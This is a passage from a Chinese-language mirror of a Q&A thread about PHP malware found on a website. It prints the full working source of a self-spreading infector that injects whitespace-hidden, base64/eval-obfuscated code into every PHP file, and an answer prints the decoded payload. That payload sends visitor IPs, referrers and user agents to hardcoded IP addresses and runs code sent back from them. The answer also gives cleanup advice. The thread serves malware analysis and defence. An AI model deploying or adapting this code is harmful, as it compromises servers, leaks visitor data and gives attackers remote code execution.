    $coo = str_replace('$mas3', $mas3, $coo);
    $code1 = rand(1000, 10000);
    $coo = str_replace('$code1', $code1, $coo);
    $code2 = rand(1000, 10000);
    $coo = str_replace('$code2', $code2, $coo);
    $code3 = rand(1000, 10000);
    $coo = str_replace('$code3', $code3, $coo);

    for ($i = 0; $i < 3; $i++) {
        $code = base64_encode($code);
        $code = 'eval(base64_decode("'.$code.'")); ';
    }
    $code = base64_encode($code);


    $z = GetMass('eval', $code1, $mas1);
    $z. = GetMass('create_function', $code2, $mas2);
    $z. = GetMass('base64_decode', $code3, $mas3);
    $z. = $v0.'="'.$code.'";';
    $z. = $coo;
    return $z;

}

function modify($fname) {


    $tmp = file_get_contents($fname);
    $md_start = md5($tmp);

    chmod($fname, 0666);
    $md = md5($fname);



    $pattern = '/function GetMama\(\).*\]\}\)\)\{break;\}\}/i';
    $replacement = '';
    $tmp = preg_replace($pattern, $replacement, $tmp);



    $pattern = '/\/\*god_mode_on.*god_mode_off\*\//i';
    $replacement = '';
    $tmp = preg_replace($pattern, $replacement, $tmp);



    $pattern = '/\/\*'.$md.'_on.*'.$md.'_off\*\//i';
    $replacement = '';
    $tmp = preg_replace($pattern, $replacement, $tmp);



    $pattern = '/<\?php[\s]*\?>/i';
    $replacement = '';
    $tmp = preg_replace($pattern, $replacement, $tmp);



    $pos = strpos($tmp, 'GetMama');
    $pos2 = strpos($tmp, 'god_mode_on');
    if (($pos === false) && ($pos2 === false)) {

        $code_t = 'if (!function_exists("GetMama")){  function mod_con($buf){str_ireplace("<body>","<body>",$buf,$cnt_h);if ($cnt_h == 1) {$buf = str_ireplace("<body>","<body>" . stripslashes($_SERVER["good"]),$buf); return $buf;}str_ireplace("</body>","</body>",$buf,$cnt_h);if ($cnt_h == 1) {$buf = str_ireplace("</body>",stripslashes($_SERVER["good"])."</body>",$buf); return $buf;}return $buf;}function opanki($buf){$gz_e = false;$h_l = headers_list();if (in_array("Content-Encoding: gzip", $h_l)) { $gz_e = true;}if ($gz_e){$tmpfname = tempnam("/tmp", "FOO");file_put_contents($tmpfname, $buf);$zd = gzopen($tmpfname, "r");$contents = gzread($zd, 10000000);$contents = mod_con($contents);gzclose($zd);unlink($tmpfname);$contents = gzencode($contents);} else {$contents = mod_con($buf);}$len = strlen($contents);header("Content-Length: ".$len);return($contents);} function GetMama(){$mother = "###";return $mother;}ob_start("opanki");function ahfudflfzdhfhs($pa){$mama = GetMama();$file = urlencode(__FILE__);if (isset($_SERVER["HTTP_HOST"])){$host = $_SERVER["HTTP_HOST"];} else {$host = "";}if (isset($_SERVER["REMOTE_ADDR"])){$ip = $_SERVER["REMOTE_ADDR"];} else {$ip = "";}if (isset($_SERVER["HTTP_REFERER"])){$ref = urlencode($_SERVER["HTTP_REFERER"]);} else {$ref = "";}if (isset($_SERVER["HTTP_USER_AGENT"])){$ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));} else {$ua = "";}if (isset($_SERVER["QUERY_STRING"])){$qs = urlencode($_SERVER["QUERY_STRING"]);} else {$qs = "";}$url_0 = "http://" . $pa;$url_1 = "/jedi.php?version=0991&mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua . "&qs=" . $qs;$try = true;if( function_exists("curl_init") ){$ch = curl_init($url_0 . $url_1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3);$ult = trim(curl_exec($ch));$try = false;} if ((ini_get("allow_url_fopen")) && $try) {$ult = trim(@file_get_contents($url_0 . $url_1));$try = false;}if($try){$fp = fsockopen($pa, 80, $errno, $errstr, 30);if ($fp) {$out = "GET $url_1 HTTP/1.0\r\n";$out .= "Host: $pa\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);$ret = "";while (!feof($fp)) {$ret  .=  fgets($fp, 128);}fclose($fp);$ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));}}  if (strpos($ult,"eval") !== false){$z = stripslashes(str_replace("eval","",$ult)); eval($z); exit();}if (strpos($ult,"ebna") !== false){$_SERVER["good"] = str_replace("ebna","",$ult);return true;}else {return false;}}$father2[] = "78.46.173.14";$father2[] = "176.9.218.191";$father2[] = "91.228.154.254";$father2[] = "77.81.241.253";$father2[] = "184.82.117.110";$father2[] = "46.4.202.93";$father2[] = "46.249.58.135";$father2[] = "176.9.241.150";$father2[] = "46.37.169.56";$father2[] = "46.30.41.99";$father2[] = "94.242.255.35";$father2[] = "178.162.129.223";$father2[] = "78.47.184.33";$father2[] = "31.184.234.96";shuffle($father2);foreach($father2 as $ur){if ( ahfudflfzdhfhs($ur) ) { break ;}}}';
        $mama = 'wtf';
        $mama = $_SERVER["HTTP_HOST"];
        $code_t = str_replace('###', $mama, $code_t);
        $code = '<'.'?php ';

        $prob = rand(5, 500);

        for ($i = 0; $i < 700 + $prob; $i++) {
            $code = $code.' ';
        }


        $code_t = Codee($code_t);


        $code = $code.'/*'.$md.'_on*/ '.$code_t.' /*'.$md.'_off*/'.' ?>'.$tmp;

        $f = fopen($fname, "w");
        fputs($f, $code);
        fclose($f);
    }
    chmod($fname, 0644);

}

function dir_num($dir) {
    global $fileslist;
    static $deep = 0;

    $odir = @opendir($dir);

    while (($file = @readdir($odir)) !== FALSE) {
        if ($file == '.' || $file == '..') {
            continue;
        } else {
            echo '. ';
            if (
            get_file_extension($file) == 'php') {
                modify($dir.DIRECTORY_SEPARATOR.$file);
            }
        }

        if (is_dir($dir.DIRECTORY_SEPARATOR.$file)) {
            $deep++;
            dir_num($dir.DIRECTORY_SEPARATOR.$file);
            $deep--;
        }
    }@closedir($odir);
}

Echo 'Wait please...<br>';

$dir = dirname(__FILE__);
dir_num($dir);



echo '<script>window.location.reload();</script>';
exit();
Run Code Online (Sandbox Code Playgroud)

在这部分中,脚本会尝试php在当前和子目录中查找其他文件并感染它们.

nat*_*iah 5

我会说删除所有类似的代码段,更改所有密码,如果可能的话,让您的网站脱机,直到支持可以回复给您.它确实看起来没有好处,经过一些挖掘代码和解码后,我发现:

<?php 

if (!function_exists("GetMama")){
    function mod_con($buf){
        str_ireplace("<body>","<body>",$buf,$cnt_h);if ($cnt_h == 1) {
            $buf = str_ireplace("<body>","<body>" . stripslashes($_SERVER["good"]),$buf); return $buf;
        }str_ireplace("</body>","</body>",$buf,$cnt_h);if ($cnt_h == 1) {
            $buf = str_ireplace("</body>",stripslashes($_SERVER["good"])."</body>",$buf); return $buf;
        }return $buf;
    }function opanki($buf){
        $gz_e = false;$h_l = headers_list();if (in_array("Content-Encoding: gzip", $h_l)) {
            $gz_e = true;
        }if ($gz_e){
            $tmpfname = tempnam("/tmp", "FOO");file_put_contents($tmpfname, $buf);$zd = gzopen($tmpfname, "r");$contents = gzread($zd, 10000000);$contents = mod_con($contents);gzclose($zd);unlink($tmpfname);$contents = gzencode($contents);
        } else {$contents = mod_con($buf);
        }$len = strlen($contents);header("Content-Length: ".$len);return($contents);
    } function GetMama(){
        $mother = "www.99bits.com";return $mother;
    }ob_start("opanki");function ahfudflfzdhfhs($pa){
        $mama = GetMama();$file = urlencode(__FILE__);if (isset($_SERVER["HTTP_HOST"])){
            $host = $_SERVER["HTTP_HOST"];
        } else {$host = "";
        }if (isset($_SERVER["REMOTE_ADDR"])){
            $ip = $_SERVER["REMOTE_ADDR"];
        } else {$ip = "";
        }if (isset($_SERVER["HTTP_REFERER"])){
            $ref = urlencode($_SERVER["HTTP_REFERER"]);
        } else {$ref = "";
        }if (isset($_SERVER["HTTP_USER_AGENT"])){
            $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
        } else {$ua = "";
        }if (isset($_SERVER["QUERY_STRING"])){
            $qs = urlencode($_SERVER["QUERY_STRING"]);
        } else {$qs = "";
        }$url_0 = "http://" . $pa;$url_1 = "/jedi.php?version=0991&mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua . "&qs=" . $qs;$try = true;if( function_exists("curl_init") ){
            $ch = curl_init($url_0 . $url_1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3);$ult = trim(curl_exec($ch));$try = false;
        } if ((ini_get("allow_url_fopen")) && $try) {
            $ult = trim(@file_get_contents($url_0 . $url_1));$try = false;
        }if($try){
            $fp = fsockopen($pa, 80, $errno, $errstr, 30);if ($fp) {
                $out = "GET $url_1 HTTP/1.0\r\n";$out .= "Host: $pa\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);$ret = "";while (!feof($fp)) {
                    $ret  .=  fgets($fp, 128);
                }fclose($fp);$ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
            }
        }  if (strpos($ult,"eval") !== false){
            $z = stripslashes(str_replace("eval","",$ult)); eval($z); exit();
        }if (strpos($ult,"ebna") !== false){
            $_SERVER["good"] = str_replace("ebna","",$ult);return true;
        }else {return false;
        }
    }$father2[] = "78.46.173.14";$father2[] = "176.9.218.191";$father2[] = "91.228.154.254";$father2[] = "77.81.241.253";$father2[] = "184.82.117.110";$father2[] = "46.4.202.93";$father2[] = "46.249.58.135";$father2[] = "176.9.241.150";$father2[] = "46.37.169.56";$father2[] = "46.30.41.99";$father2[] = "94.242.255.35";$father2[] = "178.162.129.223";$father2[] = "78.47.184.33";$father2[] = "31.184.234.96";shuffle($father2);foreach($father2 as $ur){
        if ( ahfudflfzdhfhs($ur) ) {
            break ;
        }
    }
}
Run Code Online (Sandbox Code Playgroud)

  • 即使您今天删除了代码 - 明天可能会很好. (3认同)
  • 它只是许多嵌套的`eval(base64_decode(eval(base64_decode(eval(base64_decode()))))`` (3认同)

归档时间：

查看次数：

2068 次

最近记录：

11 年，2 月 前
相关归档
如何在使用自制软件安装后启用memcached PHP扩展？ 31
如何在php中调用任何其他网站的网址 30
如何获取用户的本地时间而不是服务器的时间？ 27
$ wpdb-> insert not working,last_query不显示插入"SHOW FULL COLUMNS FROM" 20
用OpenSSL取代Mcrypt 19
PHP安全登录 - 密码加密 7
我可以通过将其与会话ID相关联来使我的ASP.NET FormsAuthentication cookie更安全吗？ 6
带有passwd安全性的Zip文件？ 6
Asp.net Mvc 6登录后立即获得用户声明 5
窃取CSRF代币 3
难疑归档
使用Git将我的最后一次X提交压缩在一起 3294
PHP:从数组中删除元素 2362
在GitHub上使用https://时有没有办法跳过密码输入？ 1806
如何基于通配符匹配以递归方式查找当前和子文件夹中的所有文件？ 1695
如何在Notepad ++中格式化XML？ 1661
如何解决"断点当前不会被命中.此文档没有加载任何符号." 警告？ 1456
jQuery获取特定的选项标签文本 1211
Android SDK安装找不到JDK 1185
命名类 - 如何避免将所有内容称为"<WhatEver> Manager"？ 1147
如何随机化(shuffle)一个JavaScript数组？ 1138